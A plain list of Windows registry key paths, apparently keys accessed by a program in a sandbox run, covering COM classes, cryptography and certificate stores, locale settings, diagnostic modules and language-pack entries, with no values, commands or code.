HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerSAU\LastUpdateCheck HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerSAU\CheckFrequency HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextLockCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextListCount HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration HKEY_USERS\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name HKEY_USERS\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\MaximumAllowedAllocationSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\F8B50CC5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize HKEY_CURRENT_USER\Control Panel\International\LocaleName HKEY_CURRENT_USER\Control Panel\International\sCountry HKEY_CURRENT_USER\Control Panel\International\sList HKEY_CURRENT_USER\Control Panel\International\sDecimal HKEY_CURRENT_USER\Control Panel\International\sThousand HKEY_CURRENT_USER\Control Panel\International\sGrouping HKEY_CURRENT_USER\Control Panel\International\sNativeDigits HKEY_CURRENT_USER\Control Panel\International\sCurrency HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep HKEY_CURRENT_USER\Control Panel\International\sMonGrouping HKEY_CURRENT_USER\Control Panel\International\sPositiveSign HKEY_CURRENT_USER\Control Panel\International\sNegativeSign HKEY_CURRENT_USER\Control Panel\International\sTimeFormat HKEY_CURRENT_USER\Control Panel\International\sShortTime HKEY_CURRENT_USER\Control Panel\International\s1159 HKEY_CURRENT_USER\Control Panel\International\s2359 HKEY_CURRENT_USER\Control Panel\International\sShortDate HKEY_CURRENT_USER\Control Panel\International\sLongDate HKEY_CURRENT_USER\Control Panel\International\iCountry HKEY_CURRENT_USER\Control Panel\International\iMeasure HKEY_CURRENT_USER\Control Panel\International\iPaperSize HKEY_CURRENT_USER\Control Panel\International\iDigits HKEY_CURRENT_USER\Control Panel\International\iLZero HKEY_CURRENT_USER\Control Panel\International\iNegNumber HKEY_CURRENT_USER\Control Panel\International\NumShape HKEY_CURRENT_USER\Control Panel\International\iCurrDigits HKEY_CURRENT_USER\Control Panel\International\iCurrency HKEY_CURRENT_USER\Control Panel\International\iNegCurr HKEY_CURRENT_USER\Control Panel\International\iCalendarType HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\Config\ServerName HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\CLResolutionInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\DisplayInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\SkipWatson HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\Settings\ReflectionInterval HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\Disable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\DataFilePath HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane1 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane3 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane4 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane6 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane7 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane8 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane9 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane10 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane11 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane12 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane13 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane14 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane15 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane16 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-aeae25577436}\Enable HKEY_CURRENT_USER\Keyboard Layout\Toggle\Language Hotkey HKEY_CURRENT_USER\Keyboard Layout\Toggle\Hotkey HKEY_CURRENT_USER\Keyboard Layout\Toggle\Layout Hotkey HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\CTF\EnableAnchorContext HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenServiceDebugLog HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath 